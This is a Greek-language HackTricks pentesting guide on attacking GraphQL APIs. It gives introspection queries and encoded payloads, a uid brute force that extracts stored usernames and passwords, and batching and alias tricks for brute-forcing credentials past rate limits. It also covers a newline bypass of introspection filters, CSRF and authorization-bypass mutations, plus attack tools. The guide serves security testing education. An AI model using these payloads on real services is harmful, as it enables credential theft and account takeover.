GraphQL

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Εισαγωγή

Το GraphQL επισημαίνεται ως μια αποδοτική εναλλακτική λύση στο REST API, προσφέροντας μια απλοποιημένη προσέγγιση για την ανάκτηση δεδομένων από τον backend. Αντίθετα με το REST, που συχνά απαιτεί πολλαπλά αιτήματα σε διάφορα σημεία πρόσβασης για να συγκεντρώσει δεδομένα, το GraphQL επιτρέπει την ανάκτηση όλων των απαιτούμενων πληροφοριών μέσω ενός μόνο αιτήματος. Αυτή η απλοποίηση ωφελεί σημαντικά τους προγραμματιστές μειώνοντας την πολυπλοκότητα των διαδικασιών ανάκτησης δεδομένων τους.

GraphQL και Ασφάλεια

Με την εμφάνιση νέων τεχνολογιών, συμπεριλαμβανομένου του GraphQL, εμφανίζονται επίσης νέες ευπάθειες ασφαλείας. Ένα σημαντικό σημείο που πρέπει να σημειωθεί είναι ότι το GraphQL δεν περιλαμβάνει μηχανισμούς πιστοποίησης από προεπιλογή. Είναι ευθύνη των προγραμματιστών να εφαρμόσουν τέτοια μέτρα ασφαλείας. Χωρίς κατάλληλη πιστοποίηση, τα σημεία πρόσβασης του GraphQL μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες σε μη πιστοποιημένους χρήστες, δημιουργώντας ένα σημαντικό κίνδυνο ασφαλείας.

Επιθέσεις Directory Brute Force και GraphQL

Για την εντοπισμό αποκαλυμμένων περιπτώσεων GraphQL, συνιστάται η συμπερίληψη συγκεκριμένων διαδρομών σε επιθέσεις Directory Brute Force. Αυτές οι διαδρομές είναι:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων προσβάσιμων μέσω του σημείου πρόσβασης. Το σύστημα εισαγωγής του GraphQL διευκολύνει αυτό με την αναλυτική περιγραφή των ερωτημάτων που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες επί του θέματος, ανατρέξτε στην τεκμηρίωση του GraphQL για την εισαγωγή: GraphQL: Γλώσσα ερωτημάτων για APIs.

Αποτύπωση

Το εργαλείο graphw00f είναι ικανό να ανιχνεύσει ποια μηχανή GraphQL χρησιμοποιείται σε έναν διακομιστή και στη συνέχεια εκτυπώνει μερικές χρήσιμες πληροφορίες για τον αναλυτή ασφαλείας.

Καθολικά ερωτήματα

Για να ελέγξετε αν μια διεύθυνση URL είναι ένα υπηρεσία GraphQL, μπορεί να σταλεί ένα καθολικό ερώτημα, query{__typename}. Αν η απάντηση περιλαμβάνει {"data": {"__typename": "Query"}}, επιβεβαιώνει ότι η διεύθυνση φιλοξενεί ένα σημείο πρόσβασης GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο __typename του GraphQL, το οποίο αποκαλύπτει τον τύπο του αναζητούμενου αντικειμένου.

query{__typename}

Βασική Απαρίθμηση

Το Graphql συνήθως υποστηρίζει τις μεθόδους GET, POST (x-www-form-urlencoded) και POST(json). Ωστόσο, για λόγους ασφαλείας συνιστάται να επιτρέπεται μόνο η μέθοδος json για να αποτραπούν επιθέσεις CSRF.

Εισαγωγή

Για να χρησιμοποιήσετε την εισαγωγή για να ανακαλύψετε πληροφορίες σχήματος, ερωτήστε το πεδίο __schema. Αυτό το πεδίο είναι διαθέσιμο στον ριζικό τύπο όλων των ερωτημάτων.

query={__schema{types{name,fields{name}}}}

Με αυτό το ερώτημα θα βρείτε το όνομα όλων των τύπων που χρησιμοποιούνται:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Με αυτό το ερώτημα μπορείτε να εξάγετε όλους τους τύπους, τα πεδία τους και τα ορίσματά τους (και τον τύπο των ορισμάτων). Αυτό θα είναι πολύ χρήσιμο για να γνωρίζετε πώς να ερωτηθείτε στη βάση δεδομένων.

Σφάλματα

Είναι ενδιαφέρον να γνωρίζετε αν τα σφάλματα θα εμφανίζονται καθώς θα συνεισφέρουν με χρήσιμες πληροφορίες.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Απαρίθμηση του σχήματος της βάσης δεδομένων μέσω εσωστρέφειας

Εάν η εσωστρέφεια είναι ενεργοποιημένη αλλά η παραπάνω ερώτηση δεν εκτελείται, δοκιμάστε να αφαιρέσετε τις οδηγίες onOperation, onFragment και onField από τη δομή της ερώτησης.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Ερώτημα ενσωματωμένης επιθεώρησης:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Η τελευταία γραμμή κώδικα είναι ένα αίτημα graphql που θα εμφανίσει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)

Εάν η εσωστρέφεια είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε το GraphQL Voyager για να δείτε σε μια γραφική διεπαφή όλες τις επιλογές.

Ερωτήματα

Τώρα που γνωρίζουμε ποιο είδος πληροφοριών αποθηκεύεται μέσα στη βάση δεδομένων, ας προσπαθήσουμε να εξάγουμε μερικές τιμές.

Στην εσωστρέφεια μπορείτε να βρείτε ποιο αντικείμενο μπορείτε να ερωτήσετε απευθείας (επειδή δεν μπορείτε να ερωτήσετε ένα αντικείμενο απλά επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι το "queryType" ονομάζεται "Query" και ότι ένα από τα πεδία του αντικειμένου "Query" είναι το "flags", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ερωτήσετε το αντικείμενο flag.

Σημειώστε ότι ο τύπος του ερωτήματος "flags" είναι "Flags", και αυτό το αντικείμενο ορίζεται ως εξής:

Μπορείτε να δείτε ότι τα αντικείμενα "Flags" αποτελούνται από όνομα και τιμή. Έπειτα, μπορείτε να πάρετε όλα τα ονόματα και τις τιμές των σημαιών με το ερώτημα:

query={flags{name, value}}

Σημείωση ότι στην περίπτωση που το αντικείμενο προς αναζήτηση είναι ένα πρωτογενές τύπος όπως συμβολοσειρά όπως στο παρακάτω παράδειγμα

Μπορείτε απλά να το αναζητήσετε με:

query={hiddenFlags}

Σε ένα άλλο παράδειγμα όπου υπήρχαν 2 αντικείμενα μέσα στο αντικείμενο "Query": "user" και "users". Αν αυτά τα αντικείμενα δεν χρειάζονται κάποιο όρισμα για να αναζητήσουν, μπορείτε να ανακτήσετε όλες τις πληροφορίες από αυτά απλά ζητώντας τα δεδομένα που θέλετε. Σε αυτό το παράδειγμα από το Διαδίκτυο μπορείτε να εξαγάγετε τα αποθηκευμένα ονόματα χρηστών και κωδικούς πρόσβασης:

Ωστόσο, σε αυτό το παράδειγμα, αν προσπαθήσετε να το κάνετε, θα λάβετε αυτό το σφάλμα:

Φαίνεται ότι κάπως θα αναζητήσει χρησιμοποιώντας το όρισμα "uid" τύπου Int. Πάντως, ήδη γνωρίζαμε ότι, στην ενότητα Βασική Απαρίθμηση, προτάθηκε μια ερώτηση που μας έδειχνε όλες τις απαραίτητες πληροφορίες: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Αν διαβάσετε την παρεχόμενη εικόνα όταν εκτελέσω αυτήν την ερώτηση, θα δείτε ότι το "user" είχε το arg "uid" τύπου Int.

Έτσι, κάνοντας μια ελαφριά επίθεση uid bruteforce, ανακάλυψα ότι στο uid=1 ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης: query={user(uid:1){user,password}}

Σημειώστε ότι ανακάλυψα ότι μπορούσα να ζητήσω τις παραμέτρους "user" και "password" επειδή αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (query={user(uid:1){noExists}}) λαμβάνω αυτό το σφάλμα:

Κατά τη διάρκεια της φάσης απαρίθμησης, ανακάλυψα ότι το αντικείμενο "dbuser" είχε ως πεδία "user" και "password.

Κόλπο με αδιαφανή αλφαριθμητικά (ευχαριστώ τον @BinaryShadow_)

Αν μπορείτε να αναζητήσετε με βάση έναν τύπο αλφαριθμητικού, όπως: query={theusers(description: ""){username,password}} και αναζητήσετε ένα κενό αλφαριθμητικό, θα αποθηκεύσετε όλα τα δεδομένα. (Σημείωση: Αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των οδηγιών, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας το "theusers" ένα πεδίο String με το όνομα "description").

Αναζήτηση

Σε αυτήν τη διάταξη, μια βάση δεδομένων περιέχει άτομα και ταινίες. Τα άτομα αναγνωρίζονται από το ηλεκτρονικό τους ταχυδρομείο και το όνομά τους, ενώ οι ταινίες αναγνωρίζονται από το όνομά τους και τη βαθμολογία τους. Τα άτομα μπορούν να είναι φίλοι μεταξύ τους και να έχουν επίσης ταινίες, δείχνοντας σχέσεις μέσα στη βάση δεδομένων.

Μπορείτε να αναζητήσετε άτομα με βάση το όνομά τους και να λάβετε τα ηλεκτρονικά τους ταχυδρομεία:

{
searchPerson(name: "John Doe") {
email
}
}

Μπορείτε να αναζητήσετε πρόσωπα βάσει του ονόματος και να λάβετε τις ταινίες στις οποίες είναι συνδρομητές:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Σημειώστε πώς υποδεικνύεται να ανακτηθεί το name των subscribedMovies του ατόμου.

Μπορείτε επίσης να αναζητήσετε πολλά αντικείμενα ταυτόχρονα. Σε αυτήν την περίπτωση, γίνεται αναζήτηση για 2 ταινίες:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ή ακόμη και σχέσεις πολλαπλών διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Μεταλλάξεις

Οι μεταλλάξεις χρησιμοποιούνται για να γίνουν αλλαγές στην πλευρά του διακομιστή.

Στο introspection μπορείτε να βρείτε τις δηλωμένες μεταλλάξεις. Στην παρακάτω εικόνα, ο "MutationType" ονομάζεται "Mutation" και το αντικείμενο "Mutation" περιέχει τα ονόματα των μεταλλάξεων (όπως το "addPerson" σε αυτήν την περίπτωση):

Σε αυτήν την ρύθμιση, μια βάση δεδομένων περιέχει άτομα και ταινίες. Τα άτομα αναγνωρίζονται από το email και το όνομά τους, ενώ οι ταινίες από το όνομά και τη βαθμολογία τους. Τα άτομα μπορούν να είναι φίλοι μεταξύ τους και να έχουν επίσης ταινίες, δείχνοντας σχέσεις μέσα στη βάση δεδομένων.

Μια μετάλλαξη για δημιουργία νέων ταινιών μέσα στη βάση δεδομένων μπορεί να είναι όπως η παρακάτω (σε αυτό το παράδειγμα η μετάλλαξη ονομάζεται addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.

Επιπλέον, η βάση δεδομένων υποστηρίζει μια λειτουργία μετάλλαξης, με το όνομα addPerson, η οποία επιτρέπει τη δημιουργία προσώπων μαζί με τις συσχετίσεις τους με υπάρχοντες φίλους και ταινίες. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν προϋποθέσεις στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργημένο άτομο.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Συγκέντρωση βίαιης δύναμης σε 1 αίτημα API

Αυτές οι πληροφορίες προέρχονται από το https://lab.wallarm.com/graphql-batching-attack/. Πιστοποίηση μέσω του GraphQL API με ταυτόχρονη αποστολή πολλαπλών ερωτημάτων με διαφορετικές πιστοποιητικές πληροφορίες για έλεγχο. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατόν να στείλετε περισσότερα από ένα ζεύγος σύνδεσης/κωδικού πρόσβασης ανά αίτημα HTTP λόγω της δυνατότητας συγκέντρωσης του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει εξωτερικές εφαρμογές παρακολούθησης ρυθμού να νομίζουν ότι όλα είναι καλά και ότι δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς πρόσβασης.

Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος πιστοποίησης εφαρμογής, με 3 διαφορετικά ζεύγη email/κωδικούς πρόσβασης ταυτόχρονα. Φυσικά, είναι δυνατόν να στείλετε χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:

Όπως βλέπουμε από το screenshot της απόκρισης, τα πρώτο και τρίτο αιτήματα επέστρεψαν null και αντανέκλασαν τις αντίστοιχες πληροφορίες στην ενότητα error. Η δεύτερη μετάλλαξη είχε τα σωστά στοιχεία πιστοποίησης και η απόκριση είχε το σωστό διακριτικό συνεδρίας πιστοποίησης.

GraphQL Χωρίς Εισαγωγή

Όλο και περισσότερα graphql endpoints απενεργοποιούν την εισαγωγή. Ωστόσο, τα σφάλματα που εμφανίζει το graphql όταν λαμβάνει ένα απροσδόκητο αίτημα είναι αρκετά για εργαλεία όπως το clairvoyance για να ανακατασκευάσουν το μεγαλύτερο μέρος του σχήματος.

Επιπλέον, η επέκταση του Burp Suite GraphQuail παρακολουθεί τα αιτήματα του GraphQL API που περνούν από το Burp και δημιουργεί ένα εσωτερικό GraphQL σχήμα με κάθε νέα ερώτηση που βλέπει. Μπορεί επίσης να αποκαλύψει το σχήμα για το GraphiQL και το Voyager. Η επέκταση επιστρέφει μια πλαστή απόκριση όταν λαμβάνει ένα αίτημα εισαγωγής. Ως αποτέλεσμα, το GraphQuail εμφανίζει όλες τις ερωτήσεις, τα ορίσματα και τα πεδία που είναι διαθέσιμα για χρήση μέσα στο API. Για περισσότερες πληροφορίες ελέγξτε αυτό.

Μια καλή λίστα λέξεων για την ανακάλυψη οντοτήτων GraphQL μπορεί να βρεθεί εδώ.

Παράκαμψη των αμυντικών μέτρων εισαγωγής GraphQL

Παράκαμψη των Αμυντικών Μέτρων Εισαγωγής GraphQL

Για να παρακάμψετε τους περιορισμούς στα ερωτήματα εισαγωγής στα APIs, η εισαγωγή ενός ειδικού χαρακτήρα μετά τη λέξη-κλειδί __schema αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινά λάθη των προγραμματιστών στα μοτίβα regex που στοχεύουν να αποκλείσουν την εισαγωγή επικεντρώνοντας στη λέξη-κλειδί __schema. Προσθέτοντας χαρακτήρες όπως κενά, νέες γραμμές και κόμματα, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην λαμβάνονται υπόψη στα regex, μπορούν να παρακαμφθούν οι περιορισμοί. Για παράδειγμα, ένα ερώτημα εισαγωγής με μια νέα γραμμή μετά το __schema μπορεί να παρακάμψει τέτοιες αμυντικές ενέργειες:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Εάν ανεπιτυχής, εξετάστε εναλλακτικές μεθόδους αιτήσεων, όπως GET αιτήσεις ή POST με x-www-form-urlencoded, καθώς οι περιορισμοί μπορεί να ισχύουν μόνο για POST αιτήσεις.

Ανακάλυψη Αποκαλυμμένων Δομών GraphQL

Όταν η εσωτρίαση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα του ιστότοπου για προφορτωμένες ερωτήσεις σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτές οι ερωτήσεις μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα Πηγές στα εργαλεία του προγραμματιστή, παρέχοντας πληροφορίες για το σχήμα του API και αποκαλύπτοντας πιθανές ευαίσθητες ερωτήσεις που έχουν αποκαλυφθεί. Οι εντολές για αναζήτηση μέσα στα εργαλεία του προγραμματιστή είναι:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF στο GraphQL

Εάν δεν γνωρίζετε τι είναι το CSRF, διαβάστε την ακόλουθη σελίδα:

pageCSRF (Cross Site Request Forgery)

Εκεί θα μπορέσετε να βρείτε αρκετά σημεία εισόδου του GraphQL που έχουν ρυθμιστεί χωρίς CSRF tokens.

Σημειώστε ότι οι αιτήσεις GraphQL συνήθως αποστέλλονται μέσω αιτήσεων POST χρησιμοποιώντας το Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ωστόσο, οι περισσότερα σημεία πρόσβασης GraphQL υποστηρίζουν επίσης αιτήματα POST με form-urlencoded:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Επομένως, καθώς οι αιτήσεις CSRF όπως οι προηγούμενες αποστέλλονται χωρίς αιτήματα προεπιλογής, είναι δυνατόν να πραγματοποιηθούν αλλαγές στο GraphQL καταχρώντας ένα CSRF.

Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή του samesite στην σημαία του Chrome είναι Lax. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν ιστότοπο τρίτου μέρους σε αιτήματα GET.

Σημειώστε επίσης ότι συνήθως είναι δυνατόν να αποσταλεί η αίτηση query επίσης ως αίτηση GET και το CSRF token μπορεί να μην επικυρωθεί σε μια αίτηση GET.

Επίσης, με την κατάχρηση μιας XS-Search επίθεσης μπορεί να είναι δυνατή η διαρροή περιεχομένου από το σημείο πρόσβασης του GraphQL καταχρώντας τα διαπιστευτήρια του χρήστη.

Για περισσότερες πληροφορίες ελέγξτε την αρχική ανάρτηση εδώ.

Εξουσιοδότηση στο GraphQL

Πολλές λειτουργίες GraphQL που έχουν καθοριστεί στο σημείο πρόσβασης μπορεί να ελέγχουν μόνο την ταυτοποίηση του αιτούντος, αλλά όχι την εξουσιοδότηση.

Η τροποποίηση των μεταβλητών εισόδου της αίτησης μπορεί να οδηγήσει στη διαρροή ευαίσθητων λεπτομερειών λογαριασμού διαρροή.

Ακόμα, η μετάλλαξη μπορεί να οδηγήσει ακόμα και στην ανάληψη ελέγχου του λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Παράκαμψη της εξουσιοδότησης στο GraphQL

Η σύνδεση ερωτημάτων μπορεί να παρακάμψει ένα αδύναμο σύστημα πιστοποίησης.

Στο παρακάτω παράδειγμα μπορείτε να δείτε ότι η λειτουργία είναι "forgotPassword" και ότι θα πρέπει να εκτελεστεί μόνο το ερώτημα forgotPassword που της αντιστοιχεί. Αυτό μπορεί να παρακαμφθεί προσθέτοντας ένα ερώτημα στο τέλος, σε αυτήν την περίπτωση προσθέτουμε "register" και μια μεταβλητή χρήστη για το σύστημα να εγγραφεί ως νέος χρήστης.

Παράκαμψη των ορίων ρυθμού χρήσης με τη χρήση ψευδωνυμίων στο GraphQL

Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την ονοματοδότηση των ιδιοτήτων με σαφήνεια κατά την αποστολή ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση πολλαπλών περιπτώσεων του ίδιου τύπου αντικειμένου μέσα από ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί η περιοριστική προϋπόθεση που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.

Για μια λεπτομερή κατανόηση των ψευδωνυμίων στο GraphQL, συνιστάται ο παρακάτω πόρος: Ψευδώνυμα.

Ενώ ο κύριος σκοπός των ψευδωνυμίων είναι να μειώσει την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί ένας ανεπιθύμητος τρόπος χρήσης όπου τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να εκτελέσουν επιθέσεις brute force σε ένα τέλος GraphQL. Αυτό είναι δυνατό επειδή ορισμένα τέλη προστατεύονται από ρυθμιστές ρυθμού που έχουν σχεδιαστεί για να αποτρέψουν επιθέσεις brute force περιορίζοντας τον αριθμό των αιτήσεων HTTP. Ωστόσο, αυτοί οι ρυθμιστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την περιλαμβανόμενη πολλαπλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοια μέτρα περιορισμού του ρυθμού.

Λάβετε υπόψη το παρακάτω παράδειγμα, το οποίο επεξηγεί πώς μπορούν να χρησιμοποιηθούν ψευδώνυμα ερωτημάτων για να επαληθευτεί η εγκυρότητα κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος μπορεί να παρακάμψει τον περιορισμό του ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα μόνο αίτημα HTTP, επιτρέποντας έτσι την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Εργαλεία

Σαρωτές ευπαθειών

  • https://github.com/gsmith257-cyber/GraphCrawler: Εργαλείο που μπορεί να χρησιμοποιηθεί για την ανάκτηση σχημάτων και την αναζήτηση ευαίσθητων δεδομένων, τον έλεγχο της εξουσιοδότησης, την επίθεση brute force στα σχήματα και την εύρεση διαδρομών προς έναν συγκεκριμένο τύπο.

  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Μπορεί να χρησιμοποιηθεί ως αυτόνομο εργαλείο ή επέκταση του Burp.

  • https://github.com/swisskyrepo/GraphQLmap: Μπορεί να χρησιμοποιηθεί ως πελάτης CLI για την αυτοματοποίηση επιθέσεων.

  • https://gitlab.com/dee-see/graphql-path-enum: Εργαλείο που καταλογογραφεί τους διάφορους τρόπους προσέγγισης ενός συγκεκριμένου τύπου σε ένα σχήμα GraphQL.

  • https://github.com/doyensec/inql: Επέκταση του Burp για προηγμένο έλεγχο GraphQL. Το Scanner είναι το κεντρικό μέρος του InQL v5.0, όπου μπορείτε να αναλύσετε ένα τέλος σημείο GraphQL ή ένα τοπικό αρχείο εισαγωγής σχήματος. Δημιουργεί αυτόματα όλα τα δυνατά ερωτήματα και μεταλλάξεις, τα οργανώνει σε μια δομημένη προβολή για την ανάλυσή σας. Το στοιχείο Attacker σας επιτρέπει να εκτελέσετε παρτίδες επιθέσεων GraphQL, το οποίο μπορεί να είναι χρήσιμο για την παράκαμψη κακά υλοποιημένων ορίων ρυθμού.

Πελάτες

Αυτόματες Δοκιμές

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated